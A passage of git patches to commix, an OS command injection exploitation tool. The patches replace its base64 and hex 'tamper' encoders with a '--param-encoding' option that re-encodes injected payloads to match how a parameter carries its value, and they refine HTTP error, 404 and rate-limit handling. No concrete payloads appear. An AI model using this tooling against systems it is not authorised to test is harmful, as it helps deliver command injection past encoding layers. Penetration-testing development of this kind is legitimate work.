settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping load the '" + encoded_with + "encode' tamper script." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - break - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(procced_option) - pass +The name settles the alphabet; the padding and the case are read off the value itself, so that a +parameter written one way is not answered in another. +""" +def encoding_from_name(name, value): + name = (name or "").strip().lower() + value = value or "" + if name == settings.ENCODING_HEX: + body = value[2:] if value[:2].lower() == "0x" else value + return {"codec": "hex", "upper": body.upper() == body and body.lower() != body, + "prefixed": value[:2].lower() == "0x"} + if name in (settings.ENCODING_BASE64, settings.ENCODING_BASE64_SAFE): + urlsafe = name == settings.ENCODING_BASE64_SAFE + # The URL-safe alphabet is written without padding; the standard one keeps whatever it needs. + padded = False if urlsafe else (value.endswith("=") or len(value.rstrip("=")) % 4 == 0) + return {"codec": "base64", "urlsafe": urlsafe, "padded": padded} + return None - if is_decoded and (encoded_with + "encode") in settings.MULTI_ENCODED_PAYLOAD: - tamper_name = encoded_with + "encode" - provided = re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower()) if menu.options.tamper else [] - if tamper_name not in provided: - menu.options.tamper = (menu.options.tamper + "," + tamper_name) if menu.options.tamper else tamper_name +""" +What '--param-encoding' was given, as a parameter-to-encoding map. + +Written either as one encoding for every parameter tested, or as the parameters that carry one +named each with their own. +""" +def parse_param_encoding(): + given = (menu.options.param_encoding or "").strip() + if not given: + return + settings.PARAMETER_ENCODINGS = {} + settings.PARAMETER_ENCODING_DEFAULT = None + for entry in re.split(settings.PARAMETER_SPLITTING_REGEX, given): + entry = entry.strip() + if not entry: + continue + name, separator, encoding = entry.partition("=") + if not separator: + name, encoding = "", name + encoding = encoding.strip().lower() + if encoding not in settings.SUPPORTED_PARAMETER_ENCODINGS: + err_msg = "You specified an invalid value '" + encoding + "' for the option '--param-encoding'. " + err_msg += "The value must be one of " + ", ".join("'" + _ + "'" for _ in settings.SUPPORTED_PARAMETER_ENCODINGS) + "." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + if name: + settings.PARAMETER_ENCODINGS[name.strip()] = encoding + else: + settings.PARAMETER_ENCODING_DEFAULT = encoding + +""" +An encoding asked for as a tamper script is the same thing said the way it used to be said. - if is_decoded: - return _urllib.parse.quote(decoded_payload), encoded_with +'base64encode' and 'hexencode' wrote the payload out encoded and left the value it was appended to +alone, which only ever worked where the two happened to decode as one. Taken here as what they were +reaching for - the value is carried in that encoding - and answered that way for every parameter +tested, which is what naming a tamper meant. +""" +def absorb_encoding_tampers(): + given = menu.options.tamper or "" + if not given: + return + kept = [] + absorbed = None + for script in re.split(settings.PARAMETER_SPLITTING_REGEX, given): + name = script.strip().lower() + if name in settings.ENCODING_TAMPER_SCRIPTS: + absorbed = settings.ENCODING_TAMPER_SCRIPTS[name] + elif script.strip(): + kept.append(script.strip()) + if absorbed is None: + return + menu.options.tamper = ",".join(kept) if kept else None + warn_msg = "The value's encoding is no longer given as a tamper script. " + if menu.options.param_encoding: + warn_msg += "Carrying on with what '--param-encoding' names." else: - return payload, encoded_with + settings.PARAMETER_ENCODING_DEFAULT = absorbed + warn_msg += "Carrying on as '--param-encoding=" + absorbed + "'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +The encoding a parameter was said to carry, where one was named for it. +""" +def named_encoding(parameter, value): + encoding = settings.PARAMETER_ENCODINGS.get(parameter, settings.PARAMETER_ENCODING_DEFAULT) + return encoding_from_name(encoding, value) if encoding else None + +""" +Write a value out the way the one it stands in for was written. +""" +def apply_encoding(value, description): + if not description: + return value + if description.get("codec") == "hex": + body = value.encode(settings.DEFAULT_CODEC).hex() + if description.get("upper"): + body = body.upper() + return ("0x" + body) if description.get("prefixed") else body + raw = value.encode(settings.DEFAULT_CODEC) + encoded = base64.urlsafe_b64encode(raw) if description.get("urlsafe") else base64.b64encode(raw) + encoded = encoded.decode(settings.DEFAULT_CODEC) + return encoded if description.get("padded") else encoded.rstrip("=") + +# What a value written in a known encoding stands for. +def strip_encoding(value, description): + if not description: + return value + if description.get("codec") == "hex": + body = value[2:] if description.get("prefixed") else value + return bytearray.fromhex(body).decode(settings.DEFAULT_CODEC) + body = value.rstrip("=") + padded = body + "=" * (-len(body) % 4) + raw = base64.urlsafe_b64decode(padded) if description.get("urlsafe") else base64.b64decode(padded) + return raw.decode(settings.DEFAULT_CODEC) + +""" +Check for applied (hex / b64) encoders. +""" +def check_encoders(payload): + """ + Whether the value the parameter carries is written in an encoding, and if it is, the run is told + to speak it: the value is read back as what it stands for, and every value sent from here on is + written out the same way - alphabet, padding and all. + """ + description = recognise_encoding(payload) + if not description: + return payload, "" + + encoded_with = description["codec"] + while True: + message = "The value appears to already be " + encoded_with + "-encoded. " + message += "Do you want commix to keep it that way? [Y/n] " + answer = common.read_input(message, default="Y", check_batch=True) + if answer in settings.CHOICE_YES: + break + elif answer in settings.CHOICE_NO: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Leaving the value as it was given." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + return payload, "" + elif answer in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(answer) + + try: + decoded = strip_encoding(payload, description) + except Exception: + return payload, "" + settings.VALUE_ENCODING = description + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "The value stands for '" + decoded + "'." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + return decoded, encoded_with """ Recognise the payload. diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index b021abf8a1..4dfc517c07 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -113,6 +113,8 @@ def reset_parameter_state(): # The other technique states are put back as each technique starts; this one is reached as a # fallback from the file-based technique instead, so nothing else clears it. settings.TEMPFILE_BASED_STATE = False + # How one parameter carried its value says nothing about how the next one carries its own. + settings.VALUE_ENCODING = None # Whether a parameter needs the value it was given is asked of that parameter alone. settings.TESTABLE_VALUE_OPTIMIZED = False # Narrowed below for one parameter at a time, and put back here so the next one is tested with @@ -162,6 +164,8 @@ def heuristic_request(url, http_request_method, check_parameter, payload, whites if settings.IS_JSON: payload = _urllib.parse.unquote(payload) payload = checks.perform_payload_modification(payload) + # Written back the way the parameter's own value arrived, as every later request is. + payload = checks.apply_encoding(payload, settings.VALUE_ENCODING) if settings.VERBOSITY_LEVEL >= 1: settings.print_data_to_stdout(settings.print_payload(payload)) if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -836,6 +840,56 @@ def injection_process(url, check_parameter, http_request_method, filename, times # False only where the check ran and the response never moved with the parameter - where it did # not run, nothing was learned and the parameter is tested as it would have been. + """ + Recognised before the value can be swapped for a placeholder below: a value that has been thrown + away is one nothing can notice the encoding of. + + Where it is written in something, the request is rewritten to carry what it stands for, and the + writing back is done on the way out - so everything in between is testing the value the target + itself will read, rather than the envelope it arrived in. + """ + # What the value stands for, once whatever it is written in has been taken off it. + def read_value_as(description): + nonlocal url + decoded = checks.strip_encoding(settings.TESTABLE_VALUE, description) + settings.VALUE_ENCODING = description + if decoded != settings.TESTABLE_VALUE: + if menu.options.data: + menu.options.data = menu.options.data.replace(settings.TESTABLE_VALUE, decoded) + url = url.replace(settings.TESTABLE_VALUE, decoded) + settings.TESTABLE_VALUE = decoded + + named = checks.named_encoding(check_parameter, settings.TESTABLE_VALUE) + if settings.LOAD_SESSION: + """ + A finding read back from a session carries the encoding it was made with, so there is nothing + to work out here. A name is only a fallback for a row stored before that was kept - and there, + a value that will not decode is one that was stored already decoded. + """ + if named and not settings.VALUE_ENCODING: + try: + read_value_as(named) + except Exception: + pass + elif named: + # Named for this parameter, which settles it without asking. + try: + read_value_as(named) + except Exception: + err_msg = "The " + str(check_parameter) + " parameter does not carry a valid " + err_msg += str(settings.PARAMETER_ENCODINGS.get(check_parameter, settings.PARAMETER_ENCODING_DEFAULT)) + err_msg += "-encoded value ('" + str(settings.TESTABLE_VALUE) + "')." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + elif not menu.options.skip_heuristics: + # Otherwise it is recognised, and what it stands for is what the rest of the run tests. + decoded, _encoding = checks.recognise_payload(payload=settings.TESTABLE_VALUE) + if settings.VALUE_ENCODING and decoded != settings.TESTABLE_VALUE: + if menu.options.data: + menu.options.data = menu.options.data.replace(settings.TESTABLE_VALUE, decoded) + url = url.replace(settings.TESTABLE_VALUE, decoded) + settings.TESTABLE_VALUE = decoded + is_dynamic = check_parameter_dynamism(url, http_request_method, check_parameter) if is_dynamic is False and menu.options.skip_static and not checks.explicitly_testable(check_parameter): info_msg = "Skipping the parameter '" + check_parameter + "' that does not appear to be dynamic." diff --git a/src/core/options.py b/src/core/options.py index cfccb488be..5e9d9b5503 100644 --- a/src/core/options.py +++ b/src/core/options.py @@ -150,6 +150,9 @@ def validate(): raise SystemExit(settings.EXIT_FAILURE) checks.set_anticsrf_token(menu.options.csrf_token) + checks.parse_param_encoding() + checks.absorb_encoding_tampers() + if menu.options.second_url and menu.options.second_req: err_msg = "The option '--second-url' is incompatible with the option '--second-req'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index 05b9f4234a..27a0e7c91d 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -495,6 +495,12 @@ def banner(): type="int", help="Retries for anti-CSRF token retrieval (default 0).") +request.add_option("--param-encoding", + action="store", + dest="param_encoding", + default=None, + help="Encoding a parameter's value is carried in (e.g. 'addr=base64').") + request.add_option("--skip-urlencode", action="store_true", dest="skip_urlencode", diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 2377ea13c6..c00bb3c602 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -74,7 +74,7 @@ def extract_vuln_param_from_pairs(text, delimiter, strip_leading_space=False, ch if settings.CUSTOM_INJECTION_MARKER: register_custom_injection_marker(vuln_parameter, param_value) settings.TESTABLE_VALUE = param_value.replace(settings.INJECT_TAG, "") - if check_base64_padding and settings.BASE64_PADDING in pair: + if check_base64_padding and settings.BASE64_PADDING in pair and not settings.TESTABLE_VALUE.endswith(settings.BASE64_PADDING): settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING return vuln_parameter return None diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 1dea76dea5..81d25b3320 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -1096,7 +1096,10 @@ def _perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http payload = checks.tamper_outside_single_quotes(payload, lambda part: part.replace(settings.SINGLE_WHITESPACE, whitespace)) payload = checks.perform_payload_modification(payload) - + # A parameter the target carries encoded is written back the way it arrived, the whole value at + # once rather than the injected part alone - which is what makes the value it reads a valid one. + payload = checks.apply_encoding(payload, settings.VALUE_ENCODING) + # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: settings.print_data_to_stdout(settings.print_payload(payload)) diff --git a/src/tamper/base64encode.py b/src/tamper/base64encode.py deleted file mode 100644 index ebe3ec1b69..0000000000 --- a/src/tamper/base64encode.py +++ /dev/null @@ -1,47 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import base64 -from src.utils import settings -from src.thirdparty.six.moves import urllib as _urllib -from src.core.controller import checks - -""" -About: base64-encodes all characters in a given payload. -Notes: This tamper script works against all targets. -""" - -__tamper__ = "base64encode" -__priority__ = settings.PRIORITY.LOWEST - -if not settings.TAMPER_SCRIPTS[__tamper__]: - settings.TAMPER_SCRIPTS[__tamper__] = True - -""" -What this produces is a blob, not an expression - so an evaluated string has nothing to -evaluate, whichever language is doing the evaluating. -""" -def dependencies(): - return checks.tamper_dep_eval_incompatible(__tamper__) - -# Hand the command over base64-encoded, for the target to decode and run. -def tamper(payload): - checks.tamper_check_space2plus_conflict(__tamper__) - payload = _urllib.parse.unquote(payload) - payload = base64.b64encode(payload.encode()) - payload = payload.decode(settings.DEFAULT_CODEC) - return payload - -# eof diff --git a/src/tamper/hexencode.py b/src/tamper/hexencode.py deleted file mode 100644 index cb2f943190..0000000000 --- a/src/tamper/hexencode.py +++ /dev/null @@ -1,45 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -from src.core.convert import hexencode -from src.thirdparty.six.moves import urllib as _urllib -from src.utils import settings -from src.core.controller import checks - -""" -About: hex-encodes all characters in a given payload. -Notes: This tamper script works against all targets. -""" - -__tamper__ = "hexencode" -__priority__ = settings.PRIORITY.LOWEST - -if not settings.TAMPER_SCRIPTS[__tamper__]: - settings.TAMPER_SCRIPTS[__tamper__] = True - -""" -What this produces is a blob, not an expression - so an evaluated string has nothing to -evaluate, whichever language is doing the evaluating. -""" -def dependencies(): - return checks.tamper_dep_eval_incompatible(__tamper__) - -# Hand the command over hex-encoded, for the target to decode and run. -def tamper(payload): - checks.tamper_check_space2plus_conflict(__tamper__) - payload = _urllib.parse.unquote(payload) - return hexencode(payload) - -# eof diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 248b59a083..339452db95 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -17,6 +17,7 @@ import re import time import base64 +import json import sqlite3 import hashlib import contextlib @@ -269,18 +270,20 @@ def import_injection_points(url, technique, injection_type, filename, separator, "timesec INTEGER, exec_time INTEGER, output_length INTEGER, is_vulnerable VARCHAR, data VARCHAR, cookie VARCHAR, tamper VARCHAR, " "target_os VARCHAR, file_deleted VARCHAR DEFAULT '', web_root VARCHAR DEFAULT '', tmp_path VARCHAR DEFAULT '', " "second_url VARCHAR DEFAULT '', second_req VARCHAR DEFAULT '', csrf_token VARCHAR DEFAULT '', " - "csrf_url VARCHAR DEFAULT '', csrf_method VARCHAR DEFAULT '', csrf_data VARCHAR DEFAULT '');") + "csrf_url VARCHAR DEFAULT '', csrf_method VARCHAR DEFAULT '', csrf_data VARCHAR DEFAULT '', " + "value_encoding VARCHAR DEFAULT '');") # The options a stored payload was made with, for a session file that predates them. _ensure_columns(conn, table, (("second_url", "VARCHAR DEFAULT ''"), ("second_req", "VARCHAR DEFAULT ''"), ("csrf_token", "VARCHAR DEFAULT ''"), - ("csrf_url", "VARCHAR DEFAULT ''"), ("csrf_method", "VARCHAR DEFAULT ''"), ("csrf_data", "VARCHAR DEFAULT ''"))) + ("csrf_url", "VARCHAR DEFAULT ''"), ("csrf_method", "VARCHAR DEFAULT ''"), ("csrf_data", "VARCHAR DEFAULT ''"), + ("value_encoding", "VARCHAR DEFAULT ''"))) # Check if an exact matching record already exists to avoid duplicates query_check = ("SELECT 1 FROM \"" + table + "\" WHERE url = ? AND technique = ? AND injection_type = ? AND separator = ? AND " "shell = ? AND vuln_parameter = ? AND prefix = ? AND suffix = ? AND TAG = ? AND interpreter = ? AND payload = ? AND " "http_header = ? AND http_request_method = ? AND url_time_response = ? AND timesec = ? AND exec_time = ? AND " "output_length = ? AND is_vulnerable = ? AND data = ? AND cookie = ? AND tamper = ? AND target_os = ? AND web_root = ? AND tmp_path = ? AND " - "second_url = ? AND second_req = ? AND csrf_token = ? AND csrf_url = ? AND csrf_method = ? AND csrf_data = ? LIMIT 1;") + "second_url = ? AND second_req = ? AND csrf_token = ? AND csrf_url = ? AND csrf_method = ? AND csrf_data = ? AND value_encoding = ? LIMIT 1;") params = (str(url), str(technique), str(injection_type), str(separator), str(shell), str(vuln_parameter or ""), str(prefix), str(suffix), str(TAG), str(interpreter), str(payload), str(settings.HTTP_HEADER), @@ -288,7 +291,8 @@ def import_injection_points(url, technique, injection_type, filename, separator, int(output_length), str(is_vulnerable), str(menu.options.data), str(menu.options.cookie), str(menu.options.tamper or ""), str(settings.TARGET_OS), str(settings.WEB_ROOT or ""), str(menu.options.tmp_path or ""), str(menu.options.second_url or ""), str(menu.options.second_req or ""), str(settings.CSRF_TOKEN_ORIGINAL or ""), - str(menu.options.csrf_url or ""), str(menu.options.csrf_method or ""), str(menu.options.csrf_data or "")) + str(menu.options.csrf_url or ""), str(menu.options.csrf_method or ""), str(menu.options.csrf_data or ""), + json.dumps(settings.VALUE_ENCODING) if settings.VALUE_ENCODING else "") if settings.BASE64_PADDING in params[0]: params = (params[0].replace(settings.BASE64_PADDING, _urllib.parse.quote(settings.BASE64_PADDING)),) + params[1:] @@ -300,8 +304,8 @@ def import_injection_points(url, technique, injection_type, filename, separator, conn.execute("INSERT INTO \"" + table + "\" (url, technique, injection_type, separator, " "shell, vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_header, http_request_method, " "url_time_response, timesec, exec_time, output_length, is_vulnerable, data, cookie, tamper, target_os, web_root, tmp_path, " - "second_url, second_req, csrf_token, csrf_url, csrf_method, csrf_data) " - "VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", params) + "second_url, second_req, csrf_token, csrf_url, csrf_method, csrf_data, value_encoding) " + "VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", params) conn.commit() # Mark injection checker as True to indicate session contains injection data @@ -566,6 +570,7 @@ def apply_stored_technique(row): csrf_url = row[28] if len(row) > 28 else None csrf_method = row[29] if len(row) > 29 else None csrf_data = row[30] if len(row) > 30 else None + value_encoding = row[31] if len(row) > 31 else None if http_header: settings.HTTP_HEADER = http_header @@ -627,6 +632,16 @@ def apply_stored_technique(row): if csrf_data and csrf_data != "None": menu.options.csrf_data = csrf_data + """ + How the parameter carried its value when the finding was made, put back before the finding is + replayed: a value written in something and answered as it stands is a value the target refuses. + """ + if value_encoding and value_encoding != "None": + try: + settings.VALUE_ENCODING = json.loads(value_encoding) + except Exception: + settings.VALUE_ENCODING = None + # Read back the way it was given, so what the token is looked up by is what it was found with. if csrf_token and csrf_token != "None": checks.set_anticsrf_token(csrf_token) diff --git a/src/utils/settings.py b/src/utils/settings.py index f9ff689992..22b79ccfc6 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -382,7 +382,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "155" +REVISION = "156" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1396,6 +1396,8 @@ def ascii_transparent_encoding(name): # Base64 format recognition BASE64_RECOGNITION_REGEX = r'^[A-Za-z0-9+/]+[=]{0,2}$' +# The same alphabet as it is written where a value has to survive a URL or a filename (RFC 4648). +BASE64_URLSAFE_RECOGNITION_REGEX = r'^[A-Za-z0-9\-_]+[=]{0,2}$' # Hex encoded characters recognition HEX_RECOGNITION_REGEX = r'^(0[xX])?[0-9a-fA-F]+$' @@ -1406,6 +1408,21 @@ def ascii_transparent_encoding(name): # Minimum printable-character ratio for treating a base64/hex charset match as encoded. ENCODING_PLAUSIBILITY_RATIO = 0.85 +# How the parameter under test carries its value, where it carries it written in something: the +# codec, the alphabet and the padding it arrived with, so that it is sent back written the same way. +VALUE_ENCODING = None + +# The encodings a value can be said to be carried in, and what was said with '--param-encoding': +# a name for each parameter that carries one, or one name standing for every parameter tested. +ENCODING_BASE64 = "base64" +ENCODING_BASE64_SAFE = "base64-safe" +ENCODING_HEX = "hex" +SUPPORTED_PARAMETER_ENCODINGS = (ENCODING_BASE64, ENCODING_BASE64_SAFE, ENCODING_HEX) +# What the tamper scripts that used to write a value out encoded are taken to mean now. +ENCODING_TAMPER_SCRIPTS = {"base64encode": ENCODING_BASE64, "hexencode": ENCODING_HEX} +PARAMETER_ENCODINGS = {} +PARAMETER_ENCODING_DEFAULT = None + DIRECTORY_REGEX = r'(?:/[^/]+)+?/\w+\.\w+' # TFB Decimal @@ -1550,8 +1567,6 @@ class AUTH_TYPE(object): # Tamper scripts dict TAMPER_SCRIPTS = { "space2ifs": False, - "base64encode": False, - "hexencode": False, "space2plus": False, "space2htab": False, "space2vtab": False, From 51c1c880cd35ca59286ead0483a6b5d3fa29b78a Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Tue, 22 Sep 2026 17:16:04 +0300 Subject: [PATCH 0819/1023] Update CHANGELOG.md --- doc/CHANGELOG.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 86ecf7aea9..15aa271baf 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,6 +1,5 @@ ## Version 4.2 (TBA) -* Replaced: The `base64encode.py` and `hexencode.py` tamper scripts have been replaced with the `--param-encoding` option. -* Added: New option `--param-encoding` for naming the encoding a parameter carries its value in, so the payload is sent back written the same way. +* Improved: Replaced the `base64encode.py` and `hexencode.py` tamper scripts with the new `--param-encoding` option for handling encoded parameter values. * Added: New switch `--text-only` for comparing pages based only on their textual content. * Fixed: Switch `--skip-calc` handling across heuristic, false-positive re-check and out-of-band tests. * Added: New switch `--eta` for showing how much of the output is left to retrieve and how long it is expected to take. From 228b78982e7389209cbf5c711ce9e394b9903982 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Wed, 23 Sep 2026 06:27:44 +0300 Subject: [PATCH 0820/1023] Enhanced HTTP error handling and response stability detection, with clearer handling of target-side errors, unstable content, and non-testable HTTP responses --- doc/CHANGELOG.md | 1 + src/core/controller/checks.py | 44 ++++++++++++++++ src/core/main.py | 3 ++ src/core/requests/requests.py | 97 +++++++++++++++++++++++++++++++++-- src/utils/settings.py | 20 +++++++- 5 files changed, 160 insertions(+), 5 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 15aa271baf..23c12411a0 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Improved: Enhanced HTTP error handling and response stability detection, with clearer handling of target-side errors, unstable content, and non-testable HTTP responses. * Improved: Replaced the `base64encode.py` and `hexencode.py` tamper scripts with the new `--param-encoding` option for handling encoded parameter values. * Added: New switch `--text-only` for comparing pages based only on their textual content. * Fixed: Switch `--skip-calc` handling across heuristic, false-positive re-check and out-of-band tests. diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index c755dac6d8..c091c21479 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -1622,6 +1622,43 @@ def ignored_http_error_code(code): except (TypeError, ValueError): return False +""" +Stop spending the phases behind this check on a target that has already answered that it cannot +serve them. One place for every reason a target is unusable, so a new reason is a call rather than +a special case of its own further down. +""" +def target_unusable(reason, advice=""): + settings.TARGET_UNUSABLE = True + err_msg = reason + if advice: + err_msg += settings.SINGLE_WHITESPACE + advice + # One bad target must not end a run that has others waiting. + if settings.MULTI_TARGETS or settings.CRAWLING: + settings.print_data_to_stdout(settings.print_critical_msg(err_msg + " Skipping to the next target.")) + return False + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + +""" +A target whose first answer is '404' is a wrong URL far more often than a finding, so the run stops +to let it be corrected - asked once, and never in the middle of testing. +""" +def page_not_found(err=None): + if settings.IGNORE_NOT_FOUND or settings.NOT_FOUND_PROMPTED: + return settings.IGNORE_NOT_FOUND + settings.NOT_FOUND_PROMPTED = True + err_msg = "Page not found (" + settings.NOT_FOUND_ERROR + ")." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + if settings.MULTI_TARGETS or settings.CRAWLING: + settings.TARGET_UNUSABLE = True + return False + message = "It is not recommended to continue in this kind of cases. " + message += "Do you want to quit and make sure that everything is set up properly? [Y/n] " + if common.read_input(message, default="Y", check_batch=True) not in settings.CHOICE_NO: + raise SystemExit(settings.EXIT_FAILURE) + settings.IGNORE_NOT_FOUND = True + return True + """ Ignore the error and continue testing; the choice is remembered for this code. """ @@ -2421,6 +2458,13 @@ def warm_up_response_baseline(url, http_request_method, close=True): if close and settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(" (done)") if len(settings.RESPONSE_TIMES) < settings.MIN_TIME_RESPONSES: + # Nothing came back at all, so there is no baseline to read a delay against - and a technique + # that measures against an empty model would call every answer whatever it started out expecting. + if not settings.RESPONSE_TIMES: + settings.close_progress_line() + return target_unusable("The target answered none of the " + str(settings.MIN_TIME_RESPONSES) + + " requests the response-time model asks for, so a time-related result " + "would have nothing to be read against.") warn_msg = "The target answered " + str(len(settings.RESPONSE_TIMES)) + " of the " warn_msg += str(settings.MIN_TIME_RESPONSES) + " requests the response-time model asks for. " warn_msg += "Time-related results are read against what was collected." diff --git a/src/core/main.py b/src/core/main.py index 5fc71bdeaf..dbd661ef6f 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -333,6 +333,9 @@ def url_response(url, http_request_method): checks.apply_waf_transport_evasion() _conn_start = time.time() response = examine_request(request, url) + # Found unusable rather than merely unanswered, so the phases behind this are not spent on it. + if settings.TARGET_UNUSABLE: + return False, url if response is not False and response is not None: _conn_end = time.time() settings.INIT_CONNECTION_TIME = _conn_end - _conn_start diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 81d25b3320..e2d148770c 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -16,6 +16,8 @@ import io import re import time +import calendar +import email.utils import threading import difflib import statistics @@ -95,6 +97,17 @@ def _build_request(): status = "dynamic" settings.PAGE_STABLE = status == "stable" + # Said before the work it decides, so the answer is given with the reason for it still on screen. + if not settings.PAGE_STABLE and not settings.UNSTABLE_PROMPTED: + settings.UNSTABLE_PROMPTED = True + warn_msg = "Target URL content is not stable. " + warn_msg += "Dynamic content is excluded from comparisons, but remaining response changes may " + warn_msg += "cause false negatives when no injectable parameter is identified." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + message = "How do you want to proceed? [(C)ontinue/(q)uit] " + if common.read_input(message, default="C", check_batch=True) in settings.CHOICE_QUIT: + raise SystemExit(settings.EXIT_FAILURE) + """ The two samples are of the same request, so whatever differs between them is the page moving on its own. Noted as regions to leave out, and the pair compared again without them and without @@ -406,6 +419,62 @@ def _finish_response_time_estimate(diff, timesec): settings.URL_TIME_RESPONSE = url_time_response return timesec, url_time_response +""" +Seconds to wait, read from a 'Retry-After' header given either as a number of them or as a date. +None where the target sent no such header, or sent one that cannot be read. +""" +def retry_after_seconds(err): + try: + value = (err.headers.get("Retry-After") or "").strip() + except Exception: + return None + if not value: + return None + if value.isdigit(): + return float(value) + try: + parsed = email.utils.parsedate(value) + return max(0.0, calendar.timegm(parsed) - time.time()) if parsed else None + except Exception: + return None + +""" +What a status says about the target rather than about the request. Returns what request_failed() +should answer, or None where the status is nothing more than the interference it warns about. +""" +def _answered_with_status(code, err): + code = str(code) + + # The first answer being '404' is a wrong URL far more often than a target worth testing. + if code == settings.NOT_FOUND_ERROR and settings.INIT_TEST is True: + return checks.page_not_found(err) + + # The payload is in the request line and the target will not take one that long. Where it can be + # moved into a body instead, that is the way past it - shortening what is sent is the other. + if code == settings.REQUEST_URI_TOO_LONG and int(code) not in settings.WARNED_HTTP_ERROR_CODES: + settings.WARNED_HTTP_ERROR_CODES.add(int(code)) + warn_msg = "The target answered '" + checks.http_error_code_label(code, err) + "', so the " + warn_msg += "request line is longer than it accepts. " + if not settings.USER_DEFINED_POST_DATA: + warn_msg += "Try sending the parameters in the body ('--data'), or a tamper script that " + warn_msg += "shortens the payload ('--tamper')." + else: + warn_msg += "Try a tamper script that shortens the payload ('--tamper')." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return None + + # A body the target will not read is worth sending again the way it will. + if menu.options.chunked and not settings.CHUNKED_UNSUPPORTED and \ + code in (settings.NOT_ALLOWED, settings.LENGTH_REQUIRED): + settings.CHUNKED_UNSUPPORTED = True + menu.options.chunked = False + warn_msg = "Turning off HTTP chunked transfer encoding, as the target answered '" + warn_msg += checks.http_error_code_label(code, err) + "' to a chunked body." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return True + + return None + """ Exceptions regarding requests failure(s) """ @@ -426,6 +495,16 @@ def request_failed(err_msg): # Pacing is answered on its own: being told to slow down holds whether or not a WAF is looked for. if str(getattr(err_msg, "code", None)) in settings.WAF_BLOCK_HTTP_CODES: stability.adapt_delay(blocked=True) + # Where the target said how long to wait, that beats guessing at it - waited out once here, + # while the delay between requests is what keeps the pace afterwards. + requested = retry_after_seconds(err_msg) + if requested is not None and not settings.TIME_RELATED_ATTACK: + waited = min(requested, settings.RATE_LIMIT_MAX_DELAY) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Waiting the " + str(round(waited, 1)) + " second" + debug_msg += "s"[waited == 1:] + " the target asked for ('Retry-After')." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + time.sleep(waited) if not 